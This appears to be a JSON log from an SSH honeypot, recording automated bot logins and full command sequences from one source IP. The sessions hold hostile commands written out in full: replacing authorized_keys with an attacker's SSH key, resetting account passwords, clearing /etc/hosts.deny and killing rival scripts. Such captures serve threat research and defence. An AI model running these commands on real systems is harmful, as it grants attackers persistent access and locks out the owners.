{"id":"2407df72-502e-4942-aa5b-7d876ccab28a","name":"jaunty-loyal-cardinal","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":38688,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:33:35.719996+00:00","ended_at":"2026-08-27T05:33:36.365258+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"73e31b22-0e57-47e8-8e1a-78697170d57e","name":"jovial-sturdy-sloth","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":46184,"username":"f","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":323,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:31:55.971028+00:00","ended_at":"2026-08-27T05:31:57.647501+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2240,"events":[{"seq":1,"at":"2026-08-27T05:31:37.211805+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:31:37.532270+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:31:41.670645+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:31:41.928749+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:31:42.251776+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nWiFuuNoVmfMl\\nWiFuuNoVmfMl\"|passwd|bash"},{"seq":6,"at":"2026-08-27T05:31:42.576035+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nWiFuuNoVmfMl\\nWiFuuNoVmfMl\\n\"|passwd"},{"seq":7,"at":"2026-08-27T05:31:42.896544+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:31:43.706491+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:31:44.036201+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:31:45.233296+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:31:45.564530+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:31:46.657949+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:31:46.984104+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:31:47.777815+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:31:48.099018+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:31:48.887053+00:00","kind":"output","latency_ms":null,"data":" 05:31:48 up 7 days, 2:21, 0 user, load average: 0.1, 0.07, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:31:49.211168+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:31:49.501760+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:31:49.825105+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:31:50.375764+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:31:50.703234+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:31:51.020376+00:00","kind":"output","latency_ms":null,"data":"top - 05:31:51 up 7 days, 2:21, 0 user, load average: 0.1, 0.07, 0.08\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:31:51.343012+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:31:52.066680+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:31:52.390247+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:31:53.164892+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:31:53.488260+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:31:54.151228+00:00","kind":"output","latency_ms":null,"data":"f"},{"seq":29,"at":"2026-08-27T05:31:54.471154+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:31:55.650064+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:31:55.971804+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:31:57.550419+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"f","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"97c77e9c-71ea-4c64-854b-b63b000dc1e2","name":"ginger-flinty-cardinal","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":46200,"username":"f","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:31:39.962712+00:00","ended_at":"2026-08-27T05:31:41.576293+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"f","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"223a2f04-4b18-4c8d-bc00-b776b082dfb6","name":"tangled-blithe-blackbird","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":46186,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:31:38.245635+00:00","ended_at":"2026-08-27T05:31:39.304490+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"81381a86-19b8-4448-9172-d584b743fa7b","name":"bronzed-russet-penguin","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":37166,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":316,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:29:57.271815+00:00","ended_at":"2026-08-27T05:29:58.450742+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:29:39.286106+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:29:39.601601+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:29:43.544082+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:29:44.295742+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:29:44.614671+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ydcU03hJRsat\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:29:44.926058+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:29:45.241066+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:29:45.667565+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:29:45.981067+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:29:47.069815+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:29:47.388457+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:29:48.598454+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:29:48.914757+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:29:49.303819+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:29:49.631208+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:29:50.309906+00:00","kind":"output","latency_ms":null,"data":" 05:29:50 up 7 days, 2:19, 0 user, load average: 0.17, 0.21, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:29:50.636838+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:29:51.077783+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:29:51.386370+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:29:52.067492+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:29:52.381798+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:29:52.813572+00:00","kind":"output","latency_ms":null,"data":"top - 05:29:52 up 7 days, 2:19, 0 user, load average: 0.17, 0.21, 0.11\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:29:53.130155+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:29:53.947780+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:29:54.263824+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:29:54.603670+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:29:54.918778+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:29:55.520441+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T05:29:55.836213+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:29:56.956854+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:29:57.272389+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:29:58.352844+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Admin12#","method":"password","accepted":true,"tier":"other"}]} {"id":"88b12546-ef68-4240-b473-86b54d3ca22c","name":"hushed-graceful-grouse","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":37192,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:29:41.602087+00:00","ended_at":"2026-08-27T05:29:43.448754+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"94a0e83a-04ca-434c-9cd3-0c7cd729e663","name":"craggy-plush-wombat","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":37182,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:29:40.328031+00:00","ended_at":"2026-08-27T05:29:40.967066+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"71c78d73-7759-4327-9c61-945c7b6a8aba","name":"daring-dapper-falcon","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":34888,"username":"penis","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":322,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:28:01.495898+00:00","ended_at":"2026-08-27T05:28:03.406546+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2252,"events":[{"seq":1,"at":"2026-08-27T05:27:44.684836+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:27:45.011943+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:27:48.152078+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:27:48.989727+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:27:49.312218+00:00","kind":"input","latency_ms":null,"data":"echo -e \"penis123\\nXOmk65Z6d04q\\nXOmk65Z6d04q\"|passwd|bash"},{"seq":6,"at":"2026-08-27T05:27:49.633164+00:00","kind":"input","latency_ms":null,"data":"echo \"penis123\\nXOmk65Z6d04q\\nXOmk65Z6d04q\\n\"|passwd"},{"seq":7,"at":"2026-08-27T05:27:49.954378+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:27:50.807492+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:27:51.131671+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:27:51.998258+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:27:52.323738+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:27:53.274555+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:27:53.600766+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:27:54.007471+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:27:54.328952+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:27:54.691833+00:00","kind":"output","latency_ms":null,"data":" 05:27:54 up 7 days, 2:18, 0 user, load average: 0.3, 0.31, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:27:55.015532+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:27:55.504699+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:27:55.827458+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:27:56.381229+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:27:56.704368+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:27:57.558063+00:00","kind":"output","latency_ms":null,"data":"top - 05:27:57 up 7 days, 2:18, 0 user, load average: 0.3, 0.31, 0.2\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:27:57.879731+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:27:58.144228+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:27:58.465694+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:27:58.917331+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:27:59.241340+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:27:59.510932+00:00","kind":"output","latency_ms":null,"data":"penis"},{"seq":29,"at":"2026-08-27T05:27:59.834342+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:28:01.174419+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:28:01.496828+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:28:03.308596+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"penis","password":"penis123","method":"password","accepted":true,"tier":"other"}]} {"id":"2b9e47cd-fcb1-4ad5-bdea-bf713fca373b","name":"umber-graceful-alpaca","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":44778,"username":"penis","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:27:47.016102+00:00","ended_at":"2026-08-27T05:27:48.054307+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"penis","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ce98eae9-f829-4b8c-a98e-1e966f6b44e1","name":"coastal-gloomy-dotterel","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":34904,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:27:45.753357+00:00","ended_at":"2026-08-27T05:27:46.400501+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b0a180a8-18a9-40e2-a335-e1a032c0f286","name":"seaward-candid-cassowary","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":53644,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":313,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:25:48.520057+00:00","ended_at":"2026-08-27T05:25:50.639940+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:25:30.902276+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:25:31.217091+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:25:35.292549+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:25:35.667512+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:25:35.981665+00:00","kind":"input","latency_ms":null,"data":"echo \"root:IuEBCrPYtkWr\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:25:36.290926+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:25:36.601487+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:25:37.483538+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:25:37.794995+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:25:38.726483+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:25:39.040069+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:25:39.922354+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:25:40.237720+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:25:41.065225+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:25:41.376971+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:25:41.820177+00:00","kind":"output","latency_ms":null,"data":" 05:25:41 up 7 days, 2:15, 0 user, load average: 0.11, 0.12, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:25:42.135176+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:25:42.780292+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:25:43.108962+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:25:43.367457+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:25:43.681397+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:25:44.421156+00:00","kind":"output","latency_ms":null,"data":"top - 05:25:44 up 7 days, 2:15, 0 user, load average: 0.11, 0.12, 0.11\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR 